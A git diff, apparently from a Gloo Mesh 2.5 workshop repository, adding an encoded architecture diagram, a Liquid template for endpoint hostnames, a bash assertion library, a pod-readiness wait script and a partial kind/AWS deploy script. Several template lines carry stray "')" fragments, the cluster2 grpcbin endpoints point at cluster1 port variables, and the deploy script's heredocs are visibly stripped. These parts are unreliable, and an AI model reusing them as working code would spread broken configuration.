UwMDBloau73GUtk36ohT5cdTAwMWWuf9JIXHUwMDBllUZypOM9+LLrMlx1MDAxMtxv+FxygtMrI4FcdTAwMTLPal7TzFhv58ryPc7AXCJcdTAwMTlN/ISmtMhmQnM5re5oObRgXZJA59udICNcdTAwMDEsqSHs7uLf3Vx1MDAwNtxwVvr41mSENVhhOVx1MDAxOeHPZv9sdVx1MDAwZsgjPItSXHUwMDAxXHUwMDBmU0bkXHUwMDE2mVxi/afHTOKlnqTZ13T7hn3W8uE7XHUwMDE5eMTDvZmXcVx1MDAxOVxcxMOxoJyqU1bf71x1MDAwM3gq+WlP44f7Wv75uk+excd1cdT+XHUwMDAxPIdcdTAwMDI8RzreIy2Lc92KqOSK5ddaPoLCsdQlmlx1MDAxZKLK6eDbXYfP3G94SnymvetuJTGDodRcdTAwMTZVTv7nXHUwMDE5XFyAhnxkvKCBXHUwMDAzaKbzlbJPvVxmnGQ/XHUwMDAxQquVRuNZbTQ+XHUwMDExRFtcdTAwMDNuliHa1273x2hcXHo7i7FcdTAwMTlcboq2MLFcdTAwMWGN3HOolCFjNri8iTSTXG5cdDZcdTAwMGU8XHUwMDA3M8wtXHJ2XHUwMDBiZfNX56hcdTAwMDVKmKW4XHUwMDEyXFyamVx1MDAxOVx1MDAxNPklfVx1MDAwN8FZXGaPjFx1MDAwNrmA0U+hXHUwMDFly1ecb+m7VLmQ4HxYqHw8xlAxUUtcdTAwMWVg3Zfyk7pcdTAwMWV30bCCov3nXHUwMDAxYpVUu1x1MDAxN2RcdTAwMWY0k96jkDmQt7K34F9byNgpJFXvPf8ye41H3iaEpO/zL1x1MDAwMTfIXHUwMDE4lZbplyvN1CXkzFx1MDAwYqLmvc04fVx1MDAxM3uMXHUwMDEwVa655UXuZo+ZNCZ2tj0yXHUwMDFlX1xuQkWeQ5VYLKFvZI3Ei+XCjz12KHvsSMd7Lsuus5vcb/hccsLYy25i3vNTXHQyczBcdTAwMTTZwm7yP8/Aoi5GvEWx6aK3mSg+itlEVpBcdTAwMTVcdTAwMThNXFxxk4lcdTAwMWVcXFx1MDAwMXxcbrPpfVxcmoyb9uP/spVs8e7tbKVxz/Ytl1x1MDAwYuv8QceKofR7f7tDJo68J9FcdTAwMDFkXHUwMDEyXHUwMDEyadtxrWPVbJnWk+L1Jlx1MDAxNVx1MDAxNr3Xj/zj9Wfj4TnwmElZ2tPBIXVwQZPpOCowUupM7aF2rDBcdTAwMWRcdTAwMTU/K4l0r929bNPkTabY/EFNh0JNRzref/iy68CY+1xyT1xixuwzXHUwMDAwliW8qVdCjrq0dVx1MDAxMt7/PINcdTAwMGLGqI+M1zJgaFxmM4q1XHUwMDE5XHUwMDA2XHUwMDE3YHP4XHUwMDA0aGxcYre5aLc6rbFHu4OdIdlcdTAwMWH39Vx1MDAxYVizjMpcdTAwMWP73Fx1MDAxZJox5Vx1MDAxOX1cIphcdTAwMTFT+7W5XHUwMDExdX+TVlc10i6Ey8BLJFsr9ydBT6hkVHiaUFxmXHUwMDA1XHUwMDE4mFx1MDAxMcTNWFJ7cDBw/OunNFx1MDAxZifJoe5kY09FWWzd91ufuSnxQCQ/wGxcdTAwMDd31nGO92fZYyy71vnmesNT4j3u3Vx1MDAxZlx1MDAwN2GlXHUwMDE5QVvgPf/zXGYu3sPemoNcdTAwMDRcdTAwMGXuXHUwMDEx43qjOMg1MKeAe7WqbT7jd+C8NSBpXHUwMDA15803uFx1MDAxM5Pa6+VX3G7zuVxuaItQZa45elaDWv82XHUwMDE0enq4XHUwMDFkvGfep7eH7WJwhCl2SFpIcVx1MDAwNDKJgFx1MDAwNbZUw4aptDjYatp8glx1MDAxYlx1MDAwNvFk0k3SXHUwMDEyvOBcdTAwMWShLl1b5EqbXHUwMDAyXG64XHUwMDBmmSHTp+PPdWW6fjrxRHF8V+5Xjt/6cH+j3euFOrVRM1SqVnvd0b+73Vx1MDAxMvxcdTAwMTNIrOYqXHUwMDEzxK6pSz7ueMe3WOZ+v1xy+spcdTAwMDTPyn5JPH3xXHUwMDA0XHSiTCfmzX3x/k89oEJBMUtcYlx1MDAwNoTFmFx1MDAxOZDmkFx0XHUwMDA0c1x1MDAwYisplDbjSn362u0jXHUwMDExMKFcdTAwMTYnUnLTWYNw5TKyWFx1MDAwYlx1MDAwYpnmXHUwMDAzWlPGsdAr5p8kSpsy9Vx1MDAwMIuLb6nq91dLXHUwMDE3S+OEKGFcbl6VqVxidlx1MDAxNJT/rqHnljAj88C05srMnt1xxpF/XHUwMDBln3NTXGbQMiZcdTAwMDKZSUdcdTAwMTQvJq1+7Vx0U0tcdTAwMTBcdTAwMDDcSjJQXHUwMDEwXHUwMDAwJVd77Z1VT1x1MDAxM0/qN9dcbt0vlvvL/nNruWdnoVx1MDAxNVx1MDAwZjXjXG7xbdKs7/OlfCiee43etuRjd1i7XHUwMDEz0UEj4HKPa21RLVx1MDAxMdFaXHUwMDEwjJaGu1x1MDAxMU0sSoHwwUJg0qeaf4P2815yj1OLmHahnJvuZJwunsiim1x1MDAxZFx1MDAxNlx1MDAxNiOUXG4pqeaCrsYjiTIxY6xO6LZcdTAwMGXIoHUv6XODa6T1KFJcdTAwMTXOR1FcdTAwMWEtZKPxaddN+iCLXHUwMDEyrJRcdTAwMDSaME9cdTAwMWRcdTAwMWX+aqNPoiyt4amBfDJccqzpQVpqnk74eJLg/N1cdTAwMTXq21L6rJmA4ZNcdTAwMDWB2FxcOW2OvN77d/fhUK7zeFnrkkp+kEHxNlx0tlx1MDAwNFx1MDAwMjjlN8zGdC9A835K2owgJj5J4t8/X43IwI+1+bqHi3VcdTAwMTa/eyjnUslxvpFcdTAwMWHg57fn5nBa/smCOJiz/UjHe17LXHUwMDFla1x1MDAxMNrBt7vO2+5+w8WyK8x69Dlo1LtE0HiMtmtH6n+eXHUwMDAx9baD7vBcdTAwMWLOSaWy+KF0x0Hc7ZQxY0n+ZFf8ovDf/qxub1x1MDAxY2p151x1MDAxZa1vdbqvQUvLbjf7NndcdTAwMDd8VFx1MDAxMC+2NS3VXHUwMDE0XHUwMDEzdPPWXHK3rPSW0umXpm7nRKae6ryn3nWwcyvmeI8uXCJk2MGyZkxcZpj/XHUwMDAwelx1MDAwMfhx7d1Ac5PUisOiPUkwpVJcdTAwMDc5VOaLylKTbPejUWatcq5RqPfGd7dcdTAwMTl8XHUwMDAwsHekZY+EIZORabh+rZOvXHSEpuGnfEXG1excdTAwMDDr9q/xZXake+nyZ5KxzGW5XHUwMDFmr3mMkd1q3TN7aodedlx1MDAxZChzv+FcdEFcdTAwMTlAXHUwMDBlT1AmkFx1MDAxMFx1MDAxYVx1MDAxMMDmKVx1MDAxMP7nXHUwMDE5ZFDmLeAltdCBXHUwMDA0/CEgXHUwMDE5Q4QpzNRP9dGFXHKRnVx1MDAwMo2twTKrzbQ2QGKeZYLIM1x0glx1MDAxMlx01KC2mDt7815Hg1x1MDAxMU8/p1x1MDAxYo33yeVcdTAwMTO+epmFXHUwMDAy7nRjSFlKXHRgQEZcdTAwMDTnytmaXHUwMDAx7Fx1MDAxNEtoxLmJhlKTXG7hbTntXHUwMDEz8WQuwGs1XHUwMDA3gpiBXHUwMDFlXGZcdTAwMTNcdTAwMTngXuW+mGPygFx1MDAxMtVKhXfJM6o13sOZVu15M2ywj/5ylVx1MDAwMFx1MDAxYidBNMfjfrnVXHJcXO6Dy758JYBn6E95l1x1MDAxZlx1MDAxMkRcdTAwMTTGcovqQ/9HXHUwMDFjUFx1MDAxMcCQZfKfXHUwMDA0XHUwMDE4NVx1MDAxYVx1MDAwNOKCXHUwMDE3f6U8/Ir8MVx1MDAwMbhcdTAwMDUrZDN7XHUwMDBlKlx1MDAwMpBcdTAwMTlVT7QgXHUwMDE0rCtOlEtWlFKWNkOVXGJcdTAwMThfILH06jA/IUyCykmndVx1MDAwNlwi7cFfXHUwMDEzXSylPVxiXGaEzrAgXHUwMDE4U7VcYu5euKc9XHUwMDEw8WeS0pZpXHUwMDBmLHVXSKSbXHUwMDFmtZsnUVxiv7avpome6ywr2JSAu1xiM1qQUlxyXHUwMDAwcjXtgVx1MDAwMM1qQlx1MDAwMNwhLblE9MxHuXjTv7lWKH+x3l/2n1tcdTAwMGI/7N3+XHUwMDE3XHUwMDBiXHUwMDEwXHUwMDA2QnG6ue/46j6eXHUwMDFjdGit9/pQeFx1MDAxZeC+7H7kPoNupjAkiW1cIrHTc4wxcniOhXfK11x1MDAwNpnanlx1MDAxZESlJW2XXCIuk1xc8GLXf/xQXFyAxJCn7JdcdTAwMTCQVFx1MDAwN8c758T2ns/dXFwgXHUwMDEztmRzLytcdTAwMDd751x1MDAxNoCoYYDwxeaZ3uV7efnWqvRcdTAwMGL8MTZcdTAwMWUmUtWnUohcdTAwMDedyakkysJamVxcOvNqXHUwMDBivJhcdTAwMDVcdTAwMTSWXHUwMDE2poJRziSRSPlgnFxyklx1MDAwYjz7XHUwMDA0L2TLwlx1MDAxMWHLpfo9cVx1MDAxY/bKMUP/sWy9kyNiil3NXHUwMDBlrFx1MDAxY588vtkxxbs5XHUwMDFhXGLyUbRCXHUwMDAxeW7jaVDTzGU2okuJ3IyU6p+dytO07DUzPDg8qJi0XHUwMDEwxZKJ+atcXOVBu6r1cTXswYPErevjXG5cdTAwMGZcdTAwMTIkuKl9/4+dXHS5XHUwMDFiXHUwMDBmkoDwINmNXHUwMDA3sU+SL2HSzPTFm4PdXrbKXHUwMDEy3d5D8yWcnNZQJEzuwqWg86BhPVx1MDAwYsuvTqxyhVx1MDAwNe11id5jq4+vXHUwMDA2iSlcdTAwMTSlYHieqbMvflx1MDAxNau1q+FcIr1cdTAwMWG9i2H2cXbdutS2bV18o7Pvn6NlvefyaVx1MDAwNUfG2Fx1MDAxNjm0Sfb+XHUwMDE4x+l6PCojvdebxmRy9VlcdTAwMGY8g0tCLITcrVnD31xudC9cIphqKtkpVSzGhGKmTjrH5kfHXHUwMDFlXFzHXHUwMDEym+91dZ6UIFx1MDAxNG1cdTAwMTH2vrpcdTAwMTXTfnF23Yx2XHUwMDFm6IDPMt3qjddk4IBxoJKgPrl5dbrTpdJcdTAwMGVcdTAwMTbUx2FBl5pBXHUwMDE3XHUwMDE2JJiDusf/sUWCu3EgXHJcYlx1MDAwN9I9klx1MDAwYlx1MDAwNfZMP1x1MDAwMUtUXCKOhNpcXFx1MDAxM8bTvJO9XHUwMDFmhUdcdTAwMDNyJXWi3/xA407Ao1pUm1x1MDAxOcx/XHUwMDEygtFSXFybSFNayVx1MDAwNcOKYI35fkj3wNUkylQ/4pNan/skXHUwMDE4Jm+uSkPy0Vx1MDAxYr6iSrdwd8lcdTAwMTMvjWhwM1x1MDAwMc+tmuRIx3tey1x1MDAxZaua5FxcTmFdPqT7XHJcdTAwMTfLrsiAY+dD2udcdTAwMTCu4EI2r7De3PXif5xcdTAwMDHFhaCRhJ9GUtLSh9JIh0iIXHUwMDE0XG5cdTAwMTOtxE+FyoVcclx1MDAxY45cdTAwMDByVUvD6sVjr+pcdTAwMGVcdTAwMTOPlFx1MDAxNLlcdTAwMDaCLYNHxz53h5GMeZaWXHSiNVx1MDAxNZpvUaNSeVx1MDAxOMpaXCJ5XHUwMDEzmaRZ/eouXHUwMDE2yaXULijyXHUwMDFia1SoRlx1MDAxNl1cXMtcdTAwMWSiuLCw1ppcdTAwMDBeXHUwMDEzxMdd+v1FKlxudlx1MDAwNZ/lZ9r+c5yIp6X+XHUwMDE41/toXHUwMDE2v3zT6PM6Xd1fXHUwMDBmXHUwMDFmadmfXCKVc3xq57LsOqznfsNcdTAwMTNiPZ+u0ZhcdG7yTLdoXCLmf57BXHUwMDA1e9xPcUhqiVx1MDAwMymOQ2A9ylx1MDAwNENanTLnJIBgXHUwMDBmsNPFrDVuXlxcdac992mlR6uB8cdKy3Bvaae7XHUwMDAzPs48XHUwMDAzaFx1MDAxOCMlhNymbO0p2+nnO9P7z1xu5rPbz7typFh/XHUwMDBmut9wnmv71UuAOt33XHUwMDE4bFVLSoP8MJKAgX1aXHUwMDAw7tFcbmvXNjRcdTAwMTRYgbBT1sfsXHUwMDAz+lL44fHjKswnrZFOhWL1l/ro+Ta46OzcXHUwMDFjh0c63iMtm9MprajKvL69JIdccjWLTlx1MDAwNrPXXHUwMDAznMJdXHUwMDBihTqy+Zx9zd6np6JcdTAwMWRcdTAwMTK1psdI+a3WzaCKbJTQMIFz42wpXHUwMDE2RTE86Fx1MDAxZWDd51Qu0u/AaTQ+w7fx2Pvw6XY2PMC6T9O3QSc9ruhy8vPms5VcdTAwMWQ0XHUwMDA2mUNM7D04OayDv+43PCH85drT1YmxpkoysoVcdTAwMGX1P8/gwl/qq0VcdTAwMDWxyEZa9Lv632OKsJQnbZhcdTAwMWJAXHUwMDA0XHUwMDFja/d6XHUwMDE3d7VR89v9nWug4zJcdTAwMDB2bnRcdTAwMGb8y71NV6lMXHUwMDE3Xkw259276+frxn3q6TOuVD5SilXiicvImeFfJ+NySi3KiFRMSI24rcnFQTNEd4O/iCEkXHRcdHDEwk9xdmqpm8/4WzTbV1x1MDAxZr3PXFy/3828XHUwMDBlftDvodDvkY73vJY9Vtj84NtdXHUwMDA3+txveELQJ7zj25gxYZJcdTAwMDK3qLHzP89zXHUwMDAxfUuqgyNLbaQ6vlx1MDAwYvMpXHUwMDAxqozRIHftPVx1MDAwMea7XHUwMDFkjVu9b8d7a6DSMt5bbHInbuXKZ/ZcdTAwMTFcdTAwMTFcbim8RdOPfDxLMvilejvRj61ZpHRcdTAwMWa/f1xyfncuhsl8vtEvZl3u94/kZlx1MDAwMYp9k1E0XmVV6lJcZoQoZo4pwYFjVT/9OHkrik77LfaSzVxcXed7vWa6/6g207v7aDJXQbBx559krVHruktcdTAwMDFbfvn3JEP/3stuqll6liRgU1xix0ybr42ZPUzeXHUwMDEzscpNMT28XHUwMDE2w2xavzzd5Fx1MDAwMu+PYVx1MDAxNDFLmOYuXGZcYobbmjXNW/FZprlcdTAwMGJTgpuRvtyvydee3C5dSv9WuV1rrLQ+aWOLfZi9d11OXFy9p3KJbu65O0unc2+9yoZcdTAwMWXm0zF7pN1yPLFTMvvvvfgyu3c7L+9eXHUwMDE3mpupyHKLXHUwMDEyX98nXHUwMDE5SP9cciMmY1xytDrhkiHgZlx1MDAwN6dcdTAwMTNiKSQwxlxuXHUwMDE0qlwiYr+yXHUwMDA371x1MDAwMWamr1x0oPz5uCBsf1wii+5+lulcdTAwMDNAKHC6maSmV4uTXHUwMDE0MzOe9D++l5e/wrmwz+vB8ztzqaniWC2g+sXXsDBmXHUwMDExQUBcdTAwMTEoM95cdTAwMTN035pcdGZn21gn5E2D5lqhvsV6f9l/Lkuf3+VQXHUwMDBmgvY+u5oli7f0I11cdTAwMWK8o9DL4ot4iKjfvaaYPS3IaVwig/ksbJetXHUwMDFmyFx1MDAxZs5cdTAwMDI9vspKXFz4XHSFQ/hlt1x1MDAwMTXHSM51Z/yD8fVcdTAwMWaJo1x0I8bGWCmdm2/HMzGGmp6JeiO1sixBXHUwMDFj/LGLXGY5MNNwx1x1MDAxZoCgcFx1MDAxMCuVa1egXHUwMDE4O2hcdTAwMThcdPuClPC1K9hI3FxccFx1MDAwZau8ua1IWi9kKXrlXVx1MDAxNq7Id1WIyYf4ZSTyfukmZEMgZc1oTaK06WxccsJUrDZMXHUwMDA0y5owM0JcdTAwMTI+XHUwMDA1gFx1MDAxYpM/8mXLjomFR/4+SfHLR5RrxzqpcTGazPS9doVNOT1AXHUwMDFjXGZcYlx1MDAwNzOpV3alXHUwMDFk87OIWm3juIv8/iUn//r9VP4u9fvpMZDx17f6e9qqzS69893/+r1cdTAwMDEjZGrmu/zP//71v/9cdTAwMWZbSLlAIn0= + + + + ingress gatewayeastwest gatewayistiodGloo Mesh agentbookinfo workspacebookinfo-frontendsnamespacebookinfo-backendsnamespacegateways workspaceproductpagedetailsratingsreviewsproductpagedetailsratingsreviewsextauthrate limiterredisistiodGloo Mesh agentGloo Mesh Gateway componentsGloo Mesh management serverGloo Mesh dashboardPrometheusKubernetes clustersistio-gatewaysnamespaceKubernetes APIserverKubernetes APIserveringress gatewayeastwest gatewayextauthrate limiterredisgloo-mesh-addonsnamespacenot-in-meshin-meshhttpbinnamespacev1v2v1v2v3standard PodPod with EnvoyGloo Mesh PodIstio PodLegendClient \ No newline at end of file diff --git a/gloo-mesh/platform/2-5/default/partials/calculate-endpoints.liquid b/gloo-mesh/platform/2-5/default/partials/calculate-endpoints.liquid new file mode 100644 index 0000000000..e7bd4df90d --- /dev/null +++ b/gloo-mesh/platform/2-5/default/partials/calculate-endpoints.liquid @@ -0,0 +1,58 @@ +{%- assign fqdn_httpbin = vars.httpbin_fqdn | default: "httpbin.example.com" %} +{%- assign fqdn_bookinfo = vars.bookinfo_fqdn | default: "bookinfo.example.com" %} +{%- assign fqdn_portal = vars.portal_fqdn | default: "portal.example.com" %} +{%- assign fqdn_grpcbin = vars.grpcbin_fqdn | default: "grpcbin.example.com" %} +{%- assign fqdn_backstage = vars.backstage_fqdn | default: "backstage.example.com" %} +{%- assign fqdn_cluster1_httpbin = "cluster1-" | append: fqdn_httpbin %} +{%- assign fqdn_cluster2_httpbin = "cluster2-" | append: fqdn_httpbin %} +{%- assign fqdn_cluster1_bookinfo = "cluster1-" | append: fqdn_bookinfo %} +{%- assign fqdn_cluster2_bookinfo = "cluster2-" | append: fqdn_bookinfo %} +{%- assign fqdn_cluster1_portal = "cluster1-" | append: fqdn_portal %} +{%- assign fqdn_cluster2_portal = "cluster2-" | append: fqdn_portal %} +{%- assign fqdn_cluster1_grpcbin = "cluster1-" | append: fqdn_grpcbin %} +{%- assign fqdn_cluster2_grpcbin = "cluster2-" | append: fqdn_grpcbin %} +{%- assign fqdn_cluster1_backstage = "cluster1-" | append: fqdn_backstage %} +{%- assign fqdn_cluster2_backstage = "cluster2-" | append: fqdn_backstage %} +{%- if vars.node_port or vars.cluster1.node_port %} +{%- assign endpoint_http_gw_cluster1_httpbin = fqdn_cluster1_httpbin | append: ":${NODEPORT_CLUSTER1_HTTP}" %} +{%- assign endpoint_https_gw_cluster1_httpbin = fqdn_cluster1_httpbin | append: ":${NODEPORT_CLUSTER1_HTTPS}" %} +{%- assign endpoint_http_gw_cluster1_bookinfo = fqdn_cluster1_bookinfo | append: ":${NODEPORT_CLUSTER1_HTTP}" %} +{%- assign endpoint_https_gw_cluster1_bookinfo = fqdn_cluster1_bookinfo | append: ":${NODEPORT_CLUSTER1_HTTPS}" %} +{%- assign endpoint_http_gw_cluster1_portal = fqdn_cluster1_portal | append: ":${NODEPORT_CLUSTER1_HTTP}" %} +{%- assign endpoint_https_gw_cluster1_portal = fqdn_cluster1_portal | append: ":${NODEPORT_CLUSTER1_HTTPS}" %} +{%- assign endpoint_http_gw_cluster1_grpcbin = fqdn_cluster1_grpcbin | append: ":${NODEPORT_CLUSTER1_HTTP}" %} +{%- assign endpoint_https_gw_cluster1_grpcbin = fqdn_cluster1_grpcbin | append: ":${NODEPORT_CLUSTER1_HTTPS}" %} +{%- assign endpoint_http_gw_cluster1_backstage = fqdn_cluster1_backstage | append: ":${NODEPORT_CLUSTER1_HTTP}" %} +{%- assign endpoint_https_gw_cluster1_backstage = fqdn_cluster1_backstage | append: ":${NODEPORT_CLUSTER1_HTTPS}" %} +{%- if vars.node_port or vars.cluster2.node_port %} +{%- assign endpoint_http_gw_cluster2_httpbin = fqdn_cluster2_httpbin | append: ":${NODEPORT_CLUSTER2_HTTP}" %} +{%- assign endpoint_https_gw_cluster2_httpbin = fqdn_cluster2_httpbin | append: ":${NODEPORT_CLUSTER2_HTTPS}" %} +{%- assign endpoint_http_gw_cluster2_bookinfo = fqdn_cluster2_bookinfo | append: ":${NODEPORT_CLUSTER2_HTTP}')" %} +{%- assign endpoint_https_gw_cluster2_bookinfo = fqdn_cluster2_bookinfo | append: ":${NODEPORT_CLUSTER2_HTTPS}" %} +{%- assign endpoint_http_gw_cluster2_portal = fqdn_cluster2_portal | append: ":${NODEPORT_CLUSTER2_HTTP}')" %} +{%- assign endpoint_https_gw_cluster2_portal = fqdn_cluster2_portal | append: ":${NODEPORT_CLUSTER2_HTTPS}" %} +{%- assign endpoint_http_gw_cluster2_grpcbin = fqdn_cluster2_grpcbin | append: ":${NODEPORT_CLUSTER1_HTTP}" %} +{%- assign endpoint_https_gw_cluster2_grpcbin = fqdn_cluster2_grpcbin | append: ":${NODEPORT_CLUSTER1_HTTPS}" %} +{%- assign endpoint_http_gw_cluster2_backstage = fqdn_cluster2_backstage | append: ":${NODEPORT_CLUSTER2_HTTP}')" %} +{%- assign endpoint_https_gw_cluster2_backstage = fqdn_cluster2_backstage | append: ":${NODEPORT_CLUSTER2_HTTPS}" %} +{%- endif %}{% comment %}cluster2 nodeport{% endcomment %} +{%- else %} +{%- assign endpoint_http_gw_cluster1_httpbin = fqdn_cluster1_httpbin %} +{%- assign endpoint_https_gw_cluster1_httpbin = fqdn_cluster1_httpbin %} +{%- assign endpoint_http_gw_cluster1_bookinfo = fqdn_cluster1_bookinfo %} +{%- assign endpoint_https_gw_cluster1_bookinfo = fqdn_cluster1_bookinfo %} +{%- assign endpoint_http_gw_cluster1_portal = fqdn_cluster1_portal %} +{%- assign endpoint_https_gw_cluster1_portal = fqdn_cluster1_portal %} +{%- assign endpoint_http_gw_cluster1_backstage = fqdn_cluster1_backstage %} +{%- assign endpoint_https_gw_cluster1_backstage = fqdn_cluster1_backstage %} +{%- assign endpoint_http_gw_cluster2_httpbin = fqdn_cluster2_httpbin %} +{%- assign endpoint_https_gw_cluster2_httpbin = fqdn_cluster2_httpbin %} +{%- assign endpoint_http_gw_cluster2_bookinfo = fqdn_cluster2_bookinfo %} +{%- assign endpoint_https_gw_cluster2_bookinfo = fqdn_cluster2_bookinfo %} +{%- assign endpoint_http_gw_cluster2_portal = fqdn_cluster2_portal %} +{%- assign endpoint_https_gw_cluster2_portal = fqdn_cluster2_portal %} +{%- assign endpoint_http_gw_cluster2_grpcbin = fqdn_cluster2_grpcbin %} +{%- assign endpoint_https_gw_cluster2_grpcbin = fqdn_cluster2_grpcbin %} +{%- assign endpoint_http_gw_cluster2_backstage = fqdn_cluster2_backstage %} +{%- assign endpoint_https_gw_cluster2_backstage = fqdn_cluster2_backstage %} +{%- endif %} \ No newline at end of file diff --git a/gloo-mesh/platform/2-5/default/scripts/assert.sh b/gloo-mesh/platform/2-5/default/scripts/assert.sh new file mode 100755 index 0000000000..75ba95ac90 --- /dev/null +++ b/gloo-mesh/platform/2-5/default/scripts/assert.sh @@ -0,0 +1,252 @@ +#!/usr/bin/env bash + +##################################################################### +## +## title: Assert Extension +## +## description: +## Assert extension of shell (bash, ...) +## with the common assert functions +## Function list based on: +## http://junit.sourceforge.net/javadoc/org/junit/Assert.html +## Log methods : inspired by +## - https://natelandau.com/bash-scripting-utilities/ +## author: Mark Torok +## +## date: 07. Dec. 2016 +## +## license: MIT +## +##################################################################### + +if command -v tput &>/dev/null && tty -s; then + RED=$(tput setaf 1) + GREEN=$(tput setaf 2) + MAGENTA=$(tput setaf 5) + NORMAL=$(tput sgr0) + BOLD=$(tput bold) +else + RED=$(echo -en "\e[31m") + GREEN=$(echo -en "\e[32m") + MAGENTA=$(echo -en "\e[35m") + NORMAL=$(echo -en "\e[00m") + BOLD=$(echo -en "\e[01m") +fi + +log_header() { + printf "\n${BOLD}${MAGENTA}========== %s ==========${NORMAL}\n" "$@" >&2 +} + +log_success() { + printf "${GREEN}✔ %s${NORMAL}\n" "$@" >&2 +} + +log_failure() { + printf "${RED}✖ %s${NORMAL}\n" "$@" >&2 + file=.test-error.log + echo "$@" >> $file + echo "#############################################" >> $file + echo "#############################################" >> $file +} + + +assert_eq() { + local expected="$1" + local actual="$2" + local msg="${3-}" + + if [ "$expected" == "$actual" ]; then + return 0 + else + [ "${#msg}" -gt 0 ] && log_failure "$expected == $actual :: $msg" || true + return 1 + fi +} + +assert_not_eq() { + local expected="$1" + local actual="$2" + local msg="${3-}" + + if [ ! "$expected" == "$actual" ]; then + return 0 + else + [ "${#msg}" -gt 0 ] && log_failure "$expected != $actual :: $msg" || true + return 1 + fi +} + +assert_true() { + local actual="$1" + local msg="${2-}" + + assert_eq true "$actual" "$msg" + return "$?" +} + +assert_false() { + local actual="$1" + local msg="${2-}" + + assert_eq false "$actual" "$msg" + return "$?" +} + +assert_array_eq() { + + declare -a expected=("${!1-}") + # echo "AAE ${expected[@]}" + + declare -a actual=("${!2}") + # echo "AAE ${actual[@]}" + + local msg="${3-}" + + local return_code=0 + if [ ! "${#expected[@]}" == "${#actual[@]}" ]; then + return_code=1 + fi + + local i + for (( i=1; i < ${#expected[@]} + 1; i+=1 )); do + if [ ! "${expected[$i-1]}" == "${actual[$i-1]}" ]; then + return_code=1 + break + fi + done + + if [ "$return_code" == 1 ]; then + [ "${#msg}" -gt 0 ] && log_failure "(${expected[*]}) != (${actual[*]}) :: $msg" || true + fi + + return "$return_code" +} + +assert_array_not_eq() { + + declare -a expected=("${!1-}") + declare -a actual=("${!2}") + + local msg="${3-}" + + local return_code=1 + if [ ! "${#expected[@]}" == "${#actual[@]}" ]; then + return_code=0 + fi + + local i + for (( i=1; i < ${#expected[@]} + 1; i+=1 )); do + if [ ! "${expected[$i-1]}" == "${actual[$i-1]}" ]; then + return_code=0 + break + fi + done + + if [ "$return_code" == 1 ]; then + [ "${#msg}" -gt 0 ] && log_failure "(${expected[*]}) == (${actual[*]}) :: $msg" || true + fi + + return "$return_code" +} + +assert_empty() { + local actual=$1 + local msg="${2-}" + + assert_eq "" "$actual" "$msg" + return "$?" +} + +assert_not_empty() { + local actual=$1 + local msg="${2-}" + + assert_not_eq "" "$actual" "$msg" + return "$?" +} + +assert_contain() { + local haystack="$1" + local needle="${2-}" + local msg="${3-}" + + if [ -z "${needle:+x}" ]; then + return 0; + fi + + if [ -z "${haystack##*$needle*}" ]; then + return 0 + else + [ "${#msg}" -gt 0 ] && log_failure "$haystack doesn't contain $needle :: $msg" || true + return 1 + fi +} + +assert_not_contain() { + local haystack="$1" + local needle="${2-}" + local msg="${3-}" + + if [ -z "${needle:+x}" ]; then + return 0; + fi + + if [ "${haystack##*$needle*}" ]; then + return 0 + else + [ "${#msg}" -gt 0 ] && log_failure "$haystack contains $needle :: $msg" || true + return 1 + fi +} + +assert_gt() { + local first="$1" + local second="$2" + local msg="${3-}" + + if [[ "$first" -gt "$second" ]]; then + return 0 + else + [ "${#msg}" -gt 0 ] && log_failure "$first > $second :: $msg" || true + return 1 + fi +} + +assert_ge() { + local first="$1" + local second="$2" + local msg="${3-}" + + if [[ "$first" -ge "$second" ]]; then + return 0 + else + [ "${#msg}" -gt 0 ] && log_failure "$first >= $second :: $msg" || true + return 1 + fi +} + +assert_lt() { + local first="$1" + local second="$2" + local msg="${3-}" + + if [[ "$first" -lt "$second" ]]; then + return 0 + else + [ "${#msg}" -gt 0 ] && log_failure "$first < $second :: $msg" || true + return 1 + fi +} + +assert_le() { + local first="$1" + local second="$2" + local msg="${3-}" + + if [[ "$first" -le "$second" ]]; then + return 0 + else + [ "${#msg}" -gt 0 ] && log_failure "$first <= $second :: $msg" || true + return 1 + fi +} \ No newline at end of file diff --git a/gloo-mesh/platform/2-5/default/scripts/check.sh b/gloo-mesh/platform/2-5/default/scripts/check.sh new file mode 100755 index 0000000000..fa52484b28 --- /dev/null +++ b/gloo-mesh/platform/2-5/default/scripts/check.sh @@ -0,0 +1,16 @@ +#!/usr/bin/env bash + +printf "Waiting for all the kube-system pods to become ready in context $1" +until [ $(kubectl --context $1 -n kube-system get pods -o jsonpath='{range .items[*].status.containerStatuses[*]}{.ready}{"\n"}{end}' | grep false -c) -eq 0 ]; do + printf "%s" "." + sleep 1 +done +printf "\n kube-system pods are now ready \n" + +printf "Waiting for all the metallb-system pods to become ready in context $1" +until [ $(kubectl --context $1 -n metallb-system get pods -o jsonpath='{range .items[*].status.containerStatuses[*]}{.ready}{"\n"}{end}' | grep false -c) -eq 0 ]; do + printf "%s" "." + sleep 1 +done +printf "\n metallb-system pods are now ready \n" + diff --git a/gloo-mesh/platform/2-5/default/scripts/deploy-aws-with-calico.sh b/gloo-mesh/platform/2-5/default/scripts/deploy-aws-with-calico.sh new file mode 100755 index 0000000000..1c7a2ec3cf --- /dev/null +++ b/gloo-mesh/platform/2-5/default/scripts/deploy-aws-with-calico.sh @@ -0,0 +1,240 @@ +#!/usr/bin/env bash +set -o errexit + +number=$1 +name=$2 +region=$3 +zone=$4 +twodigits=$(printf "%02d\n" $number) +kindest_node=${KINDEST_NODE:-kindest\/node:v1.28.0@sha256:b7a4cad12c197af3ba43202d3efe03246b3f0793f162afb40a33c923952d5b31} + +if [ -z "$3" ]; then + region=us-east-1 +fi + +if [ -z "$4" ]; then + zone=us-east-1a +fi + +if hostname -I 2>/dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml <./oidc/sa-signer-pkcs8.pub +-----BEGIN PUBLIC KEY----- +MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA53YiBcrn7+ZK0Vb4odeA +1riYdvEb8To4H6/HtF+OKzuCIXFQ+bRy7yMrDGITYpfYPrTZOgfdeTLZqOiAj+cL 